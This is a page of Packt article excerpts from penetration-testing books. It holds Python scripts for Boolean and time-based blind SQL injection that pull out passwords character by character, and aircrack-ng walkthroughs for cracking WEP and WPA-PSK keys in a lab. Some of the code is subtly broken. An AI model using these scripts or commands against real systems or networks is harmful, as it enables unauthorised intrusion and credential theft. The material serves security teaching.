Pyshkin, Tews, and Weinmann (PTW) extended Andreas Klein's research and improved the FMS attack, significantly reducing the number of IVs needed to successfully recover the WEP key. Indeed, the PTW attack does not rely on weak IVs such as the FMS attack does and is very fast and effective. It is able to recover a 104-bit WEP key with a success probability of 50% using less than 40,000 frames and with a probability of 95% with 85,000 frames. The PTW attack is the default method used by Aircrack-ng to crack WEP keys. ARP Request replay attacks on WEP Both FMS and PTW attacks need to collect quite a large number of frames to succeed and can be conducted passively, sniffing the wireless traffic on the same channel of the target AP and capturing frames. The problem is that, in normal conditions, we will have to spend quite a long time to passively collect all the necessary packets for the attacks, especially with the FMS attack. To accelerate the process, the idea is to reinject frames in the network to generate traffic in response so that we can collect the necessary IVs more quickly. A type of frame that is suitable for this purpose is the ARP request because the AP broadcasts it, each time with a new IV. As we are not associated with the AP, if we send frames to it directly, they are discarded and a de-authentication frame is sent. Instead, we can capture ARP requests from associated clients and retransmit them to the AP. This technique is called the ARP Request Replay attack and is also adopted by Aircrack-ng for the implementation of the PTW attack. Find out more to become a master penetration tester by reading Kali Linux Wireless Penetration Testing Essentials
Read more
  • 0
  • 0
  • 8011

article-image-introduction-wep
Packt
10 Aug 2015
4 min read
Save for later

An Introduction to WEP

Packt
10 Aug 2015
4 min read
In this article by Marco Alamanni, author of the book, Kali Linux Wireless Penetration Testing Essentials, has explained that the WEP protocol was introduced with the original 802.11 standard as a means to provide authentication and encryption to wireless LAN implementations. It is based on the RC4 (Rivest Cipher 4) stream cypher with a preshared secret key (PSK) of 40 or 104 bits, depending on the implementation. A 24 bit pseudo-random Initialization Vector (IV) is concatenated with the preshared key to generate the per-packet keystream used by RC4 for the actual encryption and decryption processes. Thus, the resulting keystream could be 64 or 128 bits long. (For more resources related to this topic, see here.) In the encryption phase, the keystream is XORed with the plaintext data to obtain the encrypted data, while in the decryption phase the encrypted data is XORed with the keystream to obtain the plaintext data. The encryption process is shown in the following diagram: Attacks against WEP First of all, we must say that WEP is an insecure protocol and has been deprecated by the Wi-Fi Alliance. It suffers from various vulnerabilities related to the generation of the keystreams, to the use of IVs and to the length of the keys. The IV is used to add randomness to the keystream, trying to avoid the reuse of the same keystream to encrypt different packets. This purpose has not been accomplished in the design of WEP, because the IV is only 24 bits long (with 2^24 = 16,777,216 possible values) and it is transmitted in clear-text within each frame. Thus, after a certain period of time (depending on the network traffic) the same IV, and consequently the same keystream, will be reused, allowing the attacker to collect the relative cypher texts and perform statistical attacks to recover the plain texts and the key. The first well-known attack against WEP was the Fluhrer, Mantin and Shamir (FMS) attack, back in 2001. The FMS attack relies on the way WEP generates the keystreams and on the fact that it also uses weak IVs to generate weak keystreams, making possible for an attacker to collect a sufficient number of packets encrypted with these keystreams, analyze them, and recover the key. The number of IVs to be collected to complete the FMS attack is about 250,000 for 40-bit keys and 1,500,000 for 104-bit keys. The FMS attack has been enhanced by Korek, improving its performances. Andreas Klein found more correlations between the RC4 keystream and the key than the ones discovered by Fluhrer, Mantin, and Shamir, that can used to crack the WEP key. In 2007, Pyshkin, Tews, and Weinmann (PTW) extended Andreas Klein's research and improved the FMS attack, significantly reducing the number of IVs needed to successfully recover the WEP key. Indeed, the PTW attack does not rely on weak IVs like the FMS attack does and is very fast and effective. It is able to recover a 104-bit WEP key with a success probability of 50 percent using less than 40,000 frames and with a probability of 95 percent with 85,000 frames. The PTW attack is the default method used by Aircrack-ng to crack WEP keys. Both the FMS and PTW attacks need to collect quite a large number of frames to succeed and can be conducted passively, sniffing the wireless traffic on the same channel of the target AP and capturing frames. The problem is that, in normal conditions, we will have to spend quite a long time to passively collect all the necessary packets for the attacks, especially with the FMS attack. To accelerate the process, the idea is to re-inject frames in the network to generate traffic in response so that we could collect the necessary IVs more quickly. A type of frame that is suitable for this purpose is the ARP request, because the AP broadcasts it and each time with a new IV. As we are not associated with the AP, if we send frames to it directly, they are discarded and a de-authentication frame is sent. Instead, we can capture ARP requests from associated clients and retransmit them to the AP. This technique is called the ARP Request Replay attack and is also adopted by Aircrack-ng for the implementation of the PTW attack. Summary In this article, we covered the WEP protocol, the attacks that have been developed to crack the keys. Resources for Article: Further resources on this subject: Kali Linux – Wireless Attacks [article] What is Kali Linux [article] Penetration Testing [article]
Read more
  • 0
  • 0
  • 2706

article-image-sql-injection
Packt
23 Jun 2015
11 min read
Save for later

SQL Injection

Packt
23 Jun 2015
11 min read
In this article by Cameron Buchanan, Terry Ip, Andrew Mabbitt, Benjamin May, and Dave Mound authors of the book Python Web Penetration Testing Cookbook, we're going to create scripts that encode attack strings, perform attacks, and time normal actions to normalize attack times. (For more resources related to this topic, see here.) Exploiting Boolean SQLi There are times when all you can get from a page is a yes or no. It's heartbreaking until you realise that that's the SQL equivalent of saying "I LOVE YOU". All SQLi can be broken down into yes or no questions, dependant on how patient you are. We will create a script that takes a yes value, and a URL and returns results based on a predefined attack string. I have provided an example attack string but this will change dependant on the system you are testing. How to do it… The following script is how yours should look: import requests import sys   yes = sys.argv[1]   i = 1 asciivalue = 1   answer = [] print "Kicking off the attempt"   payload = {'injection': ''AND char_length(password) = '+str(i)+';#', 'Submit': 'submit'}   while True: req = requests.post('<target url>' data=payload) lengthtest = req.text if yes in lengthtest:    length = i    break else:    i = i+1   for x in range(1, length): while asciivalue < 126: payload = {'injection': ''AND (substr(password, '+str(x)+', 1)) = '+ chr(asciivalue)+';#', 'Submit': 'submit'}    req = requests.post('<target url>', data=payload)    if yes in req.text:    answer.append(chr(asciivalue)) break else:      asciivalue = asciivalue + 1      pass asciivalue = 0 print "Recovered String: "+ ''.join(answer) How it works… Firstly the user must identify a string that only occurs when the SQLi is successful. Alternatively, the script may be altered to respond to the absence of proof of a failed SQLi. We provide this string as a sys.argv. We also create the two iterators we will use in this script and set them to 1 as MySQL starts counting from 1 instead of 0 like the failed system it is. We also create an empty list for our future answer and instruct the user the script is starting. yes = sys.argv[1]   i = 1 asciivalue = 1 answer = [] print "Kicking off the attempt" Our payload here basically requests the length of the password we are attempting to return and compares it to a value that will be iterated: payload = {'injection': ''AND char_length(password) = '+str(i)+';#', 'Submit': 'submit'} We then repeat the next loop forever as we have no idea how long the password is. We submit the payload to the target URL in a POST request: while True: req = requests.post('<target url>' data=payload) Each time we check to see if the yes value we set originally is present in the response text and if so, we end the while loop setting the current value of i as the parameter length. The break command is the part that ends the while loop: lengthtest = req.text if yes in lengthtest:    length = i    break If we don't detect the yes value, we add one to i and continue the loop: else:    i = i+1re Using the identified length of the target string, we iterate through each character and, using the ascii value, each possible value of that character. For each value we submit it to the target URL. Because the ascii table only runs up to 127, we cap the loop to run until the ascii value has reached 126. If it reaches 127, something has gone wrong: for x in range(1, length): while asciivalue < 126:  payload = {'injection': ''AND (substr(password, '+str(x)+', 1)) = '+ chr(asciivalue)+';#', 'Submit': 'submit'}    req = requests.post('<target url>', data=payload) We check to see if our yes string is present in the response and if so, break to go onto the next character. We append our successful to our answer string in character form, converting it with the chr command: if yes in req.text:    answer.append(chr(asciivalue)) break If the yes value is not present, we add to the ascii value to move onto the next potential character for that position and pass: else:      asciivalue = asciivalue + 1      pass Finally we reset ascii value for each loop and then when the loop hits the length of the string, we finish, printing the whole recovered string: asciivalue = 1 print "Recovered String: "+ ''.join(answer) There's more… This script could be potentially altered to handle iterating through tables and recovering multiple values through better crafted SQL Injection strings. Ultimately, this provides a base plate, as with the later Blind SQL Injection script for developing more complicated and impressive scripts to handle challenging tasks. See the Blind SQL Injection script for an advanced implementation of these concepts. Exploiting Blind SQL Injection Sometimes life hands you lemons, Blind SQL Injection points are some of those lemons. When you're reasonably sure you've found an SQL Injection vulnerability but there are no errors and you can't get it to return you data. In these situations you can use timing commands within SQL to cause the page to pause in returning a response and then use that timing to make judgements about the database and its data. We will create a script that makes requests to the server and returns differently timed responses dependant on the characters it's requesting. It will then read those times and reassemble strings. How to do it… The script is as follows: import requests   times = [] print "Kicking off the attempt" cookies = {'cookie name': 'Cookie value'}   payload = {'injection': ''or sleep char_length(password);#', 'Submit': 'submit'} req = requests.post('<target url>' data=payload, cookies=cookies) firstresponsetime = str(req.elapsed.total_seconds)   for x in range(1, firstresponsetime): payload = {'injection': ''or sleep(ord(substr(password, '+str(x)+', 1)));#', 'Submit': 'submit'} req = requests.post('<target url>', data=payload, cookies=cookies) responsetime = req.elapsed.total_seconds a = chr(responsetime)    times.append(a)    answer = ''.join(times) print "Recovered String: "+ answer How it works… As ever we import the required libraries and declare the lists we need to fill later on. We also have a function here that states that the script has indeed started. With some time-based functions, the user can be left waiting a while. In this script I have also included cookies using the request library. It is likely for this sort of attack that authentication is required: times = [] print "Kicking off the attempt" cookies = {'cookie name': 'Cookie value'} We set our payload up in a dictionary along with a submit button. The attack string is simple enough to understand with explanation. The initial tick has to be escaped to be treated as text within the dictionary. That tick breaks the SQL command initially and allows us to input our own SQL commands. Next we say in the event of the first command failing perform the following command with OR. We then tell the server to sleep one second for every character in the first row in the password column. Finally we close the statement with a semi-colon and comment out any trailing characters with a hash (or pound if you're American and/or wrong): payload = {'injection': ''or sleep char_length(password);#', 'Submit': 'submit'} We then set length of time the server took to respond as the firstreponsetime parameter. We will use this to understand how many characters we need to brute-force through this method in the following chain: firstresponsetime = str(req.elapsed).total_seconds We create a loop which will set x to be all numbers from 1 to the length of the string identified and perform an action for each one. We start from 1 here because MySQL starts counting from 1 rather than from zero like Python: for x in range(1, firstresponsetime): We make a similar payload as before but this time we are saying sleep for the ascii value of X character of the password in the password column, row one. So if the first character was a lower case a then the corresponding ascii value is 97 and therefore the system would sleep for 97 seconds, if it was a lower case b it would sleep for 98 seconds and so on: payload = {'injection': ''or sleep(ord(substr(password, '+str(x)+', 1)));#', 'Submit': 'submit'} We submit our data each time for each character place in the string: req = requests.post('<target url>', data=payload, cookies=cookies) We take the response time from each request to record how long the server sleeps and then convert that time back from an ascii value into a letter: responsetime = req.elapsed.total_seconds a = chr(responsetime) For each iteration we print out the password as it is currently known and then eventually print out the full password: answer = ''.join(times) print "Recovered String: "+ answer There's more… This script provides a framework that can be adapted to many different scenarios. Wechall, the web app challenge website, sets a time-limited, blind SQLi challenge that has to be completed in a very short time period. The following is our original script adapted to this environment. As you can see, I've had to account for smaller time differences in differing values, server lag and also incorporated a checking method to reset the testing value each time and submit it automatically: import subprocess import requests   def round_down(num, divisor):    return num - (num%divisor)   subprocess.Popen(["modprobe pcspkr"], shell=True) subprocess.Popen(["beep"], shell=True)     values = {'0': '0', '25': '1', '50': '2', '75': '3', '100': '4', '125': '5', '150': '6', '175': '7', '200': '8', '225': '9', '250': 'A', '275': 'B', '300': 'C', '325': 'D', '350': 'E', '375': 'F'} times = [] answer = "This is the first time" cookies = {'wc': 'cookie'} setup = requests.get('http://www.wechall.net/challenge/blind_lighter/ index.php?mo=WeChall&me=Sidebar2&rightpanel=0', cookies=cookies) y=0 accum=0   while 1: reset = requests.get('http://www.wechall.net/challenge/blind_lighter/ index.php?reset=me', cookies=cookies) for line in reset.text.splitlines():    if "last hash" in line:      print "the old hash was:"+line.split("      ")[20].strip(".</li>")      print "the guessed hash:"+answer      print "Attempts reset n n"    for x in range(1, 33):      payload = {'injection': ''or IF (ord(substr(password,      '+str(x)+', 1)) BETWEEN 48 AND      57,sleep((ord(substr(password, '+str(x)+', 1))-      48)/4),sleep((ord(substr(password, '+str(x)+', 1))-      55)/4));#', 'inject': 'Inject'}      req = requests.post('http://www.wechall.net/challenge/blind_lighter/ index.php?ajax=1', data=payload, cookies=cookies)      responsetime = str(req.elapsed)[5]+str(req.elapsed)[6]+str(req.elapsed) [8]+str(req.elapsed)[9]      accum = accum + int(responsetime)      benchmark = int(15)      benchmarked = int(responsetime) - benchmark      rounded = str(round_down(benchmarked, 25))      if rounded in values:        a = str(values[rounded])        times.append(a)        answer = ''.join(times)      else:        print rounded        rounded = str("375")        a = str(values[rounded])        times.append(a)        answer = ''.join(times) submission = {'thehash': str(answer), 'mybutton': 'Enter'} submit = requests.post('http://www.wechall.net/challenge/blind_lighter/ index.php', data=submission, cookies=cookies) print "Attempt: "+str(y) print "Time taken: "+str(accum) y += 1 for line in submit.text.splitlines():    if "slow" in line:      print line.strip("<li>")    elif "wrong" in line:       print line.strip("<li>") if "wrong" not in submit.text:    print "possible success!"    #subprocess.Popen(["beep"], shell=True) Summary We looked at how to attack strings through different penetration attacks via Boolean SQLi and Blind SQL Injection. You will find some various kinds of attacks present in the book throughout. Resources for Article: Further resources on this subject: Pentesting Using Python [article] Wireless and Mobile Hacks [article] Introduction to the Nmap Scripting Engine [article]
Read more
  • 0
  • 0
  • 2166

article-image-wlan-encryption-flaws
Packt
25 Mar 2015
21 min read
Save for later

WLAN Encryption Flaws

Packt
25 Mar 2015
21 min read
In this article by Cameron Buchanan, author of the book Kali Linux Wireless Penetration Testing Beginner's Guide. (For more resources related to this topic, see here.) "640K is more memory than anyone will ever need."                                                                             Bill Gates, Founder, Microsoft Even with the best of intentions, the future is always unpredictable. The WLAN committee designed WEP and then WPA to be foolproof encryption mechanisms but, over time, both these mechanisms had flaws that have been widely publicized and exploited in the real world. WLAN encryption mechanisms have had a long history of being vulnerable to cryptographic attacks. It started with WEP in early 2000, which eventually was completely broken. In recent times, attacks are slowly targeting WPA. Even though there is no public attack available currently to break WPA in all general conditions, there are attacks that are feasible under special circumstances. In this section, we will take a look at the following topics: Different encryption schemas in WLANs Cracking WEP encryption Cracking WPA encryption   WLAN encryption WLANs transmit data over the air and thus there is an inherent need to protect data confidentiality. This is best done using encryption. The WLAN committee (IEEE 802.11) formulated the following protocols for data encryption: Wired Equivalent Privacy (WEP) Wi-Fi Protected Access (WPA) Wi-Fi Protection Access v2 (WPAv2) In this section, we will take a look at each of these encryption protocols and demonstrate various attacks against them. WEP encryption The WEP protocol was known to be flawed as early as 2000 but, surprisingly, it is still continuing to be used and access points still ship with WEP enabled capabilities. There are many cryptographic weaknesses in WEP and they were discovered by Walker, Arbaugh, Fluhrer, Martin, Shamir, KoreK, and many others. Evaluation of WEP from a cryptographic standpoint is beyond the scope, as it involves understanding complex math. In this section, we will take a look at how to break WEP encryption using readily available tools on the BackTrack platform. This includes the entire aircrack-ng suite of tools—airmon-ng, aireplay-ng, airodump-ng, aircrack-ng, and others. The fundamental weakness in WEP is its use of RC4 and a short IV value that is recycled every 224 frames. While this is a large number in itself, there is a 50 percent chance of four reuses every 5,000 packets. To use this to our advantage, we generate a large amount of traffic so that we can increase the likelihood of IVs that have been reused and thus compare two cipher texts encrypted with the same IV and key. Let's now first set up WEP in our test lab and see how we can break it. Time for action – cracking WEP Follow the given instructions to get started: Let's first connect to our access point Wireless Lab and go to the settings area that deals with wireless encryption mechanisms: On my access point, this can be done by setting the Security Mode to WEP. We will also need to set the WEP key length. As shown in the following screenshot, I have set WEP to use 128bit keys. I have set the default key to WEP Key 1 and the value in hex to abcdefabcdefabcdefabcdef12 as the 128-bit WEP key. You can set this to whatever you choose: Once the settings are applied, the access point should now be offering WEP as the encryption mechanism of choice. Let's now set up the attacker machine. Let's bring up Wlan0 by issuing the following command: ifconfig wlan0 up Then, we will run the following command: airmon-ng start wlan0 This is done so as to create mon0, the monitor mode interface, as shown in the following screenshot. Verify that the mon0 interface has been created using the iwconfig command: Let's run airodump-ng to locate our lab access point using the following command: airodump-ng mon0 As you can see in the following screenshot, we are able to see the Wireless Lab access point running WEP: For this exercise, we are only interested in the Wireless Lab, so let's enter the following command to only see packets for this network: airodump-ng –bssid 00:21:91:D2:8E:25 --channel 11 --write WEPCrackingDemo mon0 The preceding command line is shown in the following screenshot: We will request airodump-ng to save the packets into a pcap file using the --write directive: Now let's connect our wireless client to the access point and use the WEP key as abcdefabcdefabcdefabcdef12. Once the client has successfully connected, airodump-ng should report it on the screen. If you do an ls in the same directory, you will be able to see files prefixed with WEPCrackingDemo-*, as shown in the following screenshot. These are traffic dump files created by airodump-ng: If you notice the airodump-ng screen, the number of data packets listed under the #Data column is very few in number (only 68). In WEP cracking, we need a large number of data packets, encrypted with the same key to exploit weaknesses in the protocol. So, we will have to force the network to produce more data packets. To do this, we will use the aireplay-ng tool: We will capture ARP packets on the wireless network using Aireplay-ng and inject them back into the network to simulate ARP responses. We will be starting Aireplay-ng in a separate window, as shown in the next screenshot. Replaying these packets a few thousand times, we will generate a lot of data traffic on the network. Even though Aireplay-ng does not know the WEP key, it is able to identify the ARP packets by looking at the size of the packets. ARP is a fixed header protocol; thus, the size of the ARP packets can be easily determined and can be used to identify them even within encrypted traffic. We will run aireplay-ng with the options that are discussed next. The -3 option is for ARP replay, -b specifies the BSSID of our network, and -h specifies the client MAC address that we are spoofing. We need to do this, as replay attacks will only work for authenticated and associated client MAC addresses: Very soon you should see that aireplay-ng was able to sniff ARP packets and started replaying them into the network. If you encounter channel-related errors as I did, append –ignore-negative-one to your command, as shown in the following screenshot: At this point, airodump-ng will also start registering a lot of data packets. All these sniffed packets are being stored in the WEPCrackingDemo-* files that we saw previously: Now let's start with the actual cracking part! We fire up aircrack-ng with the option WEPCRackingDemo-0*.cap in a new window. This will start the aircrack-ng software and it will begin working on cracking the WEP key using the data packets in the file. Note that it is a good idea to have Airodump-ng collect the WEP packets, aireplay-ng do the replay attack, and aircrack-ng attempt to crack the WEP key based on the captured packets, all at the same time. In this experiment, all of them are open in separate windows. Your screen should look like the following screenshot when aircrack-ng is working on the packets to crack the WEP key: The number of data packets required to crack the key is nondeterministic, but generally in the order of a hundred thousand or more. On a fast network (or using aireplay-ng), this should take 5-10 minutes at most. If the number of data packets currently in the file is not sufficient, then aircrack-ng will pause, as shown in the following screenshot, and wait for more packets to be captured; it will then restart the cracking process: Once enough data packets have been captured and processed, aircrack-ng should be able to break the key. Once it does, it proudly displays it in the terminal and exits, as shown in the following screenshot: It is important to note that WEP is totally flawed and any WEP key (no matter how complex) will be cracked by Aircrack-ng. The only requirement is that a large enough number of data packets, encrypted with this key, are made available to aircrack-ng. What just happened? We set up WEP in our lab and successfully cracked the WEP key. In order to do this, we first waited for a legitimate client of the network to connect to the access point. After this, we used the aireplay-ng tool to replay ARP packets into the network. This caused the network to send ARP replay packets, thus greatly increasing the number of data packets sent over the air. We then used the aircrack-ng tool to crack the WEP key by analyzing cryptographic weaknesses in these data packets. Note that we can also fake an authentication to the access point using the Shared Key Authentication bypass technique. This can come in handy if the legitimate client leaves the network. This will ensure that we can spoof an authentication and association and continue to send our replayed packets into the network. Have a go hero – fake authentication with WEP cracking In the previous exercise, if the legitimate client had suddenly logged off the network, we would not have been able to replay the packets as the access point will refuse to accept packets from un-associated clients. While WEP cracking is going on. Log off the legitimate client from the network and verify that you are still able to inject packets into the network and whether the access point accepts and responds to them. WPA/WPA2 WPA( or WPA v1 as it is referred to sometimes) primarily uses the TKIP encryption algorithm. TKIP was aimed at improving WEP, without requiring completely new hardware to run it. WPA2 in contrast mandatorily uses the AES-CCMP algorithm for encryption, which is much more powerful and robust than TKIP. Both WPA and WPA2 allow either EAP-based authentication, using RADIUS servers (Enterprise) or a Pre-Shared key (PSK) (personal)-based authentication schema. WPA/WPA2 PSK is vulnerable to a dictionary attack. The inputs required for this attack are the four-way WPA handshake between client and access point, and a wordlist that contains common passphrases. Then, using tools such as Aircrack-ng, we can try to crack the WPA/WPA2 PSK passphrase. An illustration of the four-way handshake is shown in the following screenshot: The way WPA/WPA2 PSK works is that it derives the per-session key, called the Pairwise Transient Key (PTK), using the Pre-Shared Key and five other parameters—SSID of Network, Authenticator Nounce (ANounce), Supplicant Nounce (SNounce), Authenticator MAC address (Access Point MAC), and Suppliant MAC address (Wi-Fi Client MAC). This key is then used to encrypt all data between the access point and client. An attacker who is eavesdropping on this entire conversation by sniffing the air can get all five parameters mentioned in the previous paragraph. The only thing he does not have is the Pre-Shared Key. So, how is the Pre-Shared Key created? It is derived by using the WPA-PSK passphrase supplied by the user, along with the SSID. The combination of both of these is sent through the Password-Based Key Derivation Function (PBKDF2), which outputs the 256-bit shared key. In a typical WPA/WPA2 PSK dictionary attack, the attacker would use a large dictionary of possible passphrases with the attack tool. The tool would derive the 256-bit Pre-Shared key from each of the passphrases and use it with the other parameters, described earlier, to create the PTK. The PTK will be used to verify the Message Integrity Check (MIC) in one of the handshake packets. If it matches, then the guessed passphrase from the dictionary was correct; if not, it was incorrect. Eventually, if the authorized network passphrase exists in the dictionary, it will be identified. This is exactly how WPA/WPA2 PSK cracking works! The following figure illustrates the steps involved: In the next exercise, we will take a look at how to crack a WPA PSK wireless network. The exact same steps will be involved in cracking a WPA2-PSK network using CCMP(AES) as well. Time for action – cracking WPA-PSK weak passphrases Follow the given instructions to get started: Let's first connect to our access point Wireless Lab and set the access point to use WPA-PSK. We will set the WPA-PSK passphrase to abcdefgh so that it is vulnerable to a dictionary attack: We start airodump-ng with the following command so that it starts capturing and storing all packets for our network: airodump-ng –bssid 00:21:91:D2:8E:25 –channel 11 –write WPACrackingDemo mon0" The following screenshot shows the output: Now we can wait for a new client to connect to the access point so that we can capture the four-way WPA handshake, or we can send a broadcast deauthentication packet to force clients to reconnect. We do the latter to speed things up. The same thing can happen again with the unknown channel error. Again, use –-ignore-negative-one. This can also require more than one attempt: As soon as we capture a WPA handshake, the airodump-ng tool will indicate it in the top-right corner of the screen with a WPA handshake followed by the access point's BSSID. If you are using –ignore-negative-one, the tool may replace the WPA handshake with a fixed channel message. Just keep an eye out for a quick flash of a WPA handshake. We can stop the airodump-ng utility now. Let's open up the cap file in Wireshark and view the four-way handshake. Your Wireshark terminal should look like the following screenshot. I have selected the first packet of the four-way handshake in the trace file in the screenshot. The handshake packets are the one whose protocol is EAPOL: Now we will start the actual key cracking exercise! For this, we need a dictionary of common words. Kali ships with many dictionary files in the metasploit folder located as shown in the following screenshot. It is important to note that, in WPA cracking, you are just as good as your dictionary. BackTrack ships with some dictionaries, but these may be insufficient. Passwords that people choose depend on a lot of things. This includes things such as which country users live in, common names and phrases in that region the, security awareness of the users, and a host of other things. It may be a good idea to aggregate country- and region-specific word lists, when undertaking a penetration test: We will now invoke the aircrack-ng utility with the pcap file as the input and a link to the dictionary file, as shown in the following screenshot. I have used nmap.lst , as shown in the terminal: aircrack-ng uses the dictionary file to try various combinations of passphrases and tries to crack the key. If the passphrase is present in the dictionary file, it will eventually crack it and your screen will look similar to the one in the screenshot: Please note that, as this is a dictionary attack, the prerequisite is that the passphrase must be present in the dictionary file you are supplying to aircrack-ng. If the passphrase is not present in the dictionary, the attack will fail! What just happened? We set up WPA-PSK on our access point with a common passphrase: abcdefgh. We then use a deauthentication attack to have legitimate clients reconnect to the access point. When we reconnect, we capture the four-way WPA handshake between the access point and the client. As WPA-PSK is vulnerable to a dictionary attack, we feed the capture file that contains the WPA four-way handshake and a list of common passphrases (in the form of a wordlist) to Aircrack-ng. As the passphrase abcdefgh is present in the wordlist, Aircrack-ng is able to crack the WPA-PSK shared passphrase. It is very important to note again that, in WPA dictionary-based cracking, you are just as good as the dictionary you have. Thus, it is important to compile a large and elaborate dictionary before you begin. Though BackTrack ships with its own dictionary, it may be insufficient at times and might need more words, especially taking into account the localization factor. Have a go hero – trying WPA-PSK cracking with Cowpatty Cowpatty is a tool that can also crack a WPA-PSK passphrase using a dictionary attack. This tool is included with BackTrack. I leave it as an exercise for you to use Cowpatty to crack the WPA-PSK passphrase. Also, set an uncommon passphrase that is not present in the dictionary and try the attack again. You will now be unsuccessful in cracking the passphrase with both Aircrack-ng and Cowpatty. It is important to note that the same attack applies even to a WPA2 PSK network. I encourage you to verify this independently. Speeding up WPA/WPA2 PSK cracking As we have already seen in the previous section, if we have the correct passphrase in our dictionary, cracking WPA-Personal will work every time like a charm. So, why don't we just create a large elaborate dictionary of millions of common passwords and phrases people use? This would help us a lot and most of the time, we would end up cracking the passphrase. It all sounds great but we are missing one key component here— the time taken. One of the more CPU and time-consuming calculations is that of the Pre-Shared key using the PSK passphrase and the SSID through the PBKDF2. This function hashes the combination of both over 4,096 times before outputting the 256-bit Pre-Shared key. The next step in cracking involves using this key along with parameters in the four-way handshake and verifying against the MIC in the handshake. This step is computationally inexpensive. Also, the parameters will vary in the handshake every time and hence, this step cannot be precomputed. Thus, to speed up the cracking process, we need to make the calculation of the Pre-Shared key from the passphrase as fast as possible. We can speed this up by precalculating the Pre-Shared Key, also called the Pairwise Master Key (PMK) in 802.11 standard parlance. It is important to note that, as the SSID is also used to calculate the PMK, with the same passphrase and with a different SSID, we will end up with a different PMK. Thus, the PMK depends on both the passphrase and the SSID. In the next exercise, we will take a look at how to precalculate the PMK and use it for WPA/WPA2 PSK cracking. Time for action – speeding up the cracking process We can proceed with the following steps: We can precalculate the PMK for a given SSID and wordlist using the genpmk tool with the following command: genpmk –f <chosen wordlist>–d PMK-Wireless-Lab –s "Wireless Lab This creates the PMK-Wireless-Lab file containing the pregenerated PMK: We now create a WPA-PSK network with the passphrase abcdefgh (present in the dictionary we used) and capture a WPA-handshake for that network. We now use Cowpatty to crack the WPA passphrase, as shown in the following screenshot: It takes approximately 7.18 seconds for Cowpatty to crack the key, using the precalculated PMKs. We now use aircrack-ng with the same dictionary file, and the cracking process takes over 22 minutes. This shows how much we are gaining because of the precalculation. In order to use these PMKs with aircrack-ng, we need to use a tool called airolib-ng. We will give it the options airolib-ng, PMK-Aircrack --import,and cowpatty PMK-Wireless-Lab, where PMK-Aircrack is the aircrack-ng compatible database to be created and PMK-Wireless-Lab is the genpmk compliant PMK database that we created previously. We now feed this database to aircrack-ng and the cracking process speeds up remarkably. We use the following command: aircrack-ng –r PMK-Aircrack WPACrackingDemo2-01.cap There are additional tools available on BackTrack such as Pyrit that can leverage multi CPU systems to speed up cracking. We give the pcap filename with the -r option and the genpmk compliant PMK file with the -i option. Even on the same system used with the previous tools, Pyrit takes around 3 seconds to crack the key, using the same PMK file created using genpmk. What just happened? We looked at various different tools and techniques to speed up WPA/WPA2-PSK cracking. The whole idea is to pre-calculate the PMK for a given SSID and a list of passphrases in our dictionary. Decrypting WEP and WPA packets In all the exercises we have done till now, we cracked the WEP and WPA keys using various techniques. What do we do with this information? The first step is to decrypt data packets we have captured using these keys. In the next exercise, we will decrypt the WEP and WPA packets in the same trace file that we captured over the air, using the keys we cracked. Time for action – decrypting WEP and WPA packets We can proceed with the following steps: We will decrypt packets from the WEP capture file we created earlier: WEPCrackingDemo-01.cap. For this, we will use another tool in the Aircrack-ng suite called airdecap-ng. We will run the following command, as shown in the following screenshot, using the WEP key we cracked previously: airdecap-ng -w abcdefabcdefabcdefabcdef12 WEPCrackingDemo-02.cap The decrypted files are stored in a file named WEPCrackingDemo-02-dec.cap. We use the tshark utility to view the first ten packets in the file. Please note that you may see something different based on what you captured: WPA/WPA2 PSK will work in exactly the same way as with WEP, using the airdecap-ng utility, as shown in the following screenshot, with the following command: airdecap-ng –p abdefg WPACrackingDemo-02.cap –e "Wireless Lab" What just happened? We just saw how we can decrypt WEP and WPA/WPA2-PSK encrypted packets using Airdecap-ng. It is interesting to note that we can do the same using Wireshark. We would encourage you to explore how this can be done by consulting the Wireshark documentation. Connecting to WEP and WPA networks We can also connect to the authorized network after we have cracked the network key. This can come in handy during penetration testing. Logging onto the authorized network with the cracked key is the ultimate proof you can provide to your client that his network is insecure. Time for action – connecting to a WEP network We can proceed with the following steps: Use the iwconfig utility to connect to a WEP network, once you have the key. In a past exercise, we broke the WEP key—abcdefabcdefabcdefabcdef12: What just happened? We saw how to connect to a WEP network. Time for action – connecting to a WPA network We can proceed with the following steps: In the case of WPA, the matter is a bit more complicated. The iwconfig utility cannot be used with WPA/WPA2 Personal and Enterprise, as it does not support it. We will use a new tool called WPA_supplicant for this lab. To use WPA_supplicant for a network, we will need to create a configuration file, as shown in the following screenshot. We will name this file wpa-supp.conf: We will then invoke the WPA_supplicant utility with the following options: -D wext -i wlan0 –c wpa-supp.conf to connect to the WPA network we just cracked. Once the connection is successful, WPA_supplicant will give you the message: Connection to XXXX completed. For both the WEP and WPA networks, once you are connected, you can use dhcpclient to grab a DHCP address from the network by typing dhclient3 wlan0. What just happened? The default Wi-Fi utility iwconfig cannot be used to connect to WPA/WPA2 networks. The de-facto tool for this is WPA_Supplicant. In this lab, we saw how we can use it to connect to a WPA network. Summary In this section, we learnt about WLAN encryption. WEP is flawed and no matter what the WEP key is, with enough data packet samples: it is always possible to crack WEP. WPA/WPA2 is cryptographically un-crackable currently; however, under special circumstances, such as when a weak passphrase is chosen in WPA/WPA2-PSK, it is possible to retrieve the passphrase using dictionary attacks. Resources for Article: Further resources on this subject: Veil-Evasion [article] Wireless and Mobile Hacks [article] Social Engineering Attacks [article]
Read more
  • 0
  • 0
  • 5313
article-image-what-kali-linux
Packt
05 Feb 2015
1 min read
Save for later

What is Kali Linux

Packt
05 Feb 2015
1 min read
This article created by Aaron Johns, the author of Mastering Wireless Penetration Testing for Highly Secured Environments introduces Kali Linux and the steps needed to get started. Kali Linux is a security penetration testing distribution built on Debian Linux. It covers many different varieties of security tools, each of which are organized by category. Let's begin by downloading and installing Kali Linux! (For more resources related to this topic, see here.) Downloading Kali Linux Congratulations, you have now started your first hands-on experience in this article! I'm sure you are excited so let's begin! Visit http://www.kali.org/downloads/. Look under the Official Kali Linux Downloads section: In this demonstration, I will be downloading and installing Kali Linux 1.0.6 32 Bit ISO. Click on the Kali Linux 1.0.6 32 Bit ISO hyperlink to download it. Depending on your Internet connection, this may take an hour to download, so please prepare yourself ahead of time so that you do not have to wait on this download. Those who have a slow Internet connection may want to reconsider downloading from a faster source within the local area. Restrictions on downloading may apply in public locations. Please make sure you have permission to download Kali Linux before doing so. Installing Kali Linux in VMware Player Once you have finished downloading Kali Linux, you will want to make sure you have VMware Player installed. VMware Player is where you will be installing Kali Linux. If you are not familiar with VMware Player, it is simply a type of virtualization software that emulates an operating system without requiring another physical system. You can create multiple operating systems and run them simultaneously. Perform the following 